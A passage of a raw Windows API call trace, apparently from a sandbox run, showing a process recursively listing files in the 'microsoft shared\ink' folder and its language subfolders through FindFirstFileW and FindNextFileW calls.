lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.119] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0093.119] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0093.119] FindClose (in: hFindFile=0x4260790 | out: hFindFile=0x4260790) returned 1 [0093.119] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.119] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0093.119] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.119] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0093.120] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.120] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0093.120] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0093.120] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0093.120] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.120] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0093.120] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x779da8e5, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x3e9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0093.120] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x5f780, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0093.121] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0093.121] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.121] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0093.121] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.121] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0093.121] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0093.121] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0093.121] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.121] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0093.122] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0093.122] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79680792, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x79680792, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x79680792, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x101200, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0093.122] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7965a52d, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x7965a52d, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x7965a52d, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x9e1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0093.122] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6ebfe576, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x17a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0093.122] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0093.122] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.122] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260410 [0093.123] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.123] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0093.123] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0093.123] FindClose (in: hFindFile=0x4260410 | out: hFindFile=0x4260410) returned 1 [0093.123] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.123] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0093.123] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.123] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0093.124] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.124] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0093.124] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0093.125] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0093.125] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.125] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0093.125] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.125] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260810 [0093.125] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.125] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0093.126] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0093.126] FindClose (in: hFindFile=0x4260810 | out: hFindFile=0x4260810) returned 1 [0093.126] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.126] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0093.126] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.126] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42607d0 [0093.126] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.126] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e0daa01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e0daa01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0093.127] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e0daa01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e0daa01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x4cb1e8, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0093.127] FindClose (in: hFindFile=0x42607d0 | out: hFindFile=0x42607d0) returned 1 [0093.127] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.127] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0093.127] FindClose (in: hFindFile=0x4260290 | out: hFindFile=0x4260290) returned 1 [0093.127] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0093.130] FindNextFileW (in: hFindFile=0x42605d0, 